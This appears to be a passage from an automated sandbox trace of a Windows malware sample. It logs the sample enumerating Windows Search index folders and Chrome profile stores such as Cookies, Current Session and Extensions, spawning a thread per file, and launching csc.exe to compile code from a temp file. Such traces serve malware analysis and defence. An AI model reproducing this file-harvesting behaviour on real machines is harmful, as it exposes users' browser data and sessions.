[0244.454] wcscmp (_String1="Indexer", _String2=".") returned 1 [0244.454] wcscmp (_String1="Indexer", _String2="..") returned 1 [0244.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107a80 [0244.455] wcscpy (in: _Dest=0x107a80, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0244.455] wcscat (in: _Dest=0x107a80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\" [0244.455] wcscat (in: _Dest=0x107a80, _Source="Indexer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer" [0244.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0244.456] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PropMap", cAlternateFileName="")) returned 1 [0244.456] wcscmp (_String1="PropMap", _String2=".") returned 1 [0244.456] wcscmp (_String1="PropMap", _String2="..") returned 1 [0244.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107900 [0244.456] wcscpy (in: _Dest=0x107900, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0244.456] wcscat (in: _Dest=0x107900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\" [0244.456] wcscat (in: _Dest=0x107900, _Source="PropMap" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap" [0244.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0244.457] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 1 [0244.457] wcscmp (_String1="SecStore", _String2=".") returned 1 [0244.457] wcscmp (_String1="SecStore", _String2="..") returned 1 [0244.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106ac0 [0244.457] wcscpy (in: _Dest=0x106ac0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0244.457] wcscat (in: _Dest=0x106ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\" [0244.457] wcscat (in: _Dest=0x106ac0, _Source="SecStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore" [0244.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0244.458] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 0 [0244.458] FindClose (in: hFindFile=0x1cd9dd30 | out: hFindFile=0x1cd9dd30) returned 1 [0244.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0244.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0244.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f61f0) returned 1 Thread: id = 4061 os_tid = 0xa7c [0244.468] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 0x2020 [0244.998] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dwFileAttributes=0x20) Thread: id = 4062 os_tid = 0x132c [0244.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal")) returned 0x2020 [0245.000] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", dwFileAttributes=0x20) Thread: id = 4063 os_tid = 0x11ec [0244.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session")) returned 0x2020 [0245.000] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", dwFileAttributes=0x20) Thread: id = 4064 os_tid = 0xf2c [0244.476] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs")) returned 0x2020 [0245.001] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", dwFileAttributes=0x20) Thread: id = 4065 os_tid = 0x1398 [0244.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x43115980 [0244.478] wcscpy (in: _Dest=0x43115980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0244.478] wcscat (in: _Dest=0x43115980, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\" [0244.478] wcscat (in: _Dest=0x43115980, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*" [0244.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0244.479] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x1ce1ebc0) Thread: id = 4066 os_tid = 0x14dc [0244.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x43113eb0 [0244.480] wcscpy (in: _Dest=0x43113eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0244.481] wcscat (in: _Dest=0x43113eb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\" [0244.481] wcscat (in: _Dest=0x43113eb0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*" [0244.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0244.481] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x1ce21050) Thread: id = 4067 os_tid = 0x152c [0244.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x431135c0 [0244.482] wcscpy (in: _Dest=0x431135c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.482] wcscat (in: _Dest=0x431135c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.483] wcscat (in: _Dest=0x431135c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*" [0244.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0244.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0244.988] wcscmp (_String1=".", _String2=".") returned 0 [0244.988] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.988] wcscmp (_String1="..", _String2=".") returned 1 [0244.988] wcscmp (_String1="..", _String2="..") returned 0 [0244.988] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0244.988] wcscmp (_String1="000003.log", _String2=".") returned 1 [0244.988] wcscmp (_String1="000003.log", _String2="..") returned 1 [0244.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x43115360 [0244.988] wcscpy (in: _Dest=0x43115360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.988] wcscat (in: _Dest=0x43115360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.988] wcscat (in: _Dest=0x43115360, _Source="000003.log" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" [0244.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43115360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0244.989] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0244.989] wcscmp (_String1="CURRENT", _String2=".") returned 1 [0244.989] wcscmp (_String1="CURRENT", _String2="..") returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x43112b30 [0244.990] wcscpy (in: _Dest=0x43112b30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.990] wcscat (in: _Dest=0x43112b30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.990] wcscat (in: _Dest=0x43112b30, _Source="CURRENT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" [0244.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698 [0244.990] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0244.990] wcscmp (_String1="LOCK", _String2=".") returned 1 [0244.990] wcscmp (_String1="LOCK", _String2="..") returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43113760 [0244.991] wcscpy (in: _Dest=0x43113760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.991] wcscat (in: _Dest=0x43113760, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.991] wcscat (in: _Dest=0x43113760, _Source="LOCK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" [0244.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43113760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0244.991] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0244.991] wcscmp (_String1="LOG", _String2=".") returned 1 [0244.991] wcscmp (_String1="LOG", _String2="..") returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x43113690 [0244.992] wcscpy (in: _Dest=0x43113690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.992] wcscat (in: _Dest=0x43113690, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.992] wcscat (in: _Dest=0x43113690, _Source="LOG" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" [0244.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43113690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0244.992] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0244.992] wcscmp (_String1="MANIFEST-000001", _String2=".") returned 1 [0244.992] wcscmp (_String1="MANIFEST-000001", _String2="..") returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43115600 [0244.993] wcscpy (in: _Dest=0x43115600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.993] wcscat (in: _Dest=0x43115600, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\" [0244.993] wcscat (in: _Dest=0x43115600, _Source="MANIFEST-000001" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" [0244.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43115600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0244.994] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0244.994] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0244.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0244.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431135c0) returned 1 [0244.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecf60) returned 1 Thread: id = 4068 os_tid = 0xaf4 [0244.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107fc0 [0244.500] wcscpy (in: _Dest=0x107fc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0244.500] wcscat (in: _Dest=0x107fc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0244.500] wcscat (in: _Dest=0x107fc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*" [0244.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0244.501] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x1ce1f0a0) Process: id = "2" image_name = "csc.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe" page_root = "0x3a16c000" os_pid = "0x51c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaf8" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\himmqugh.cmdline\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" 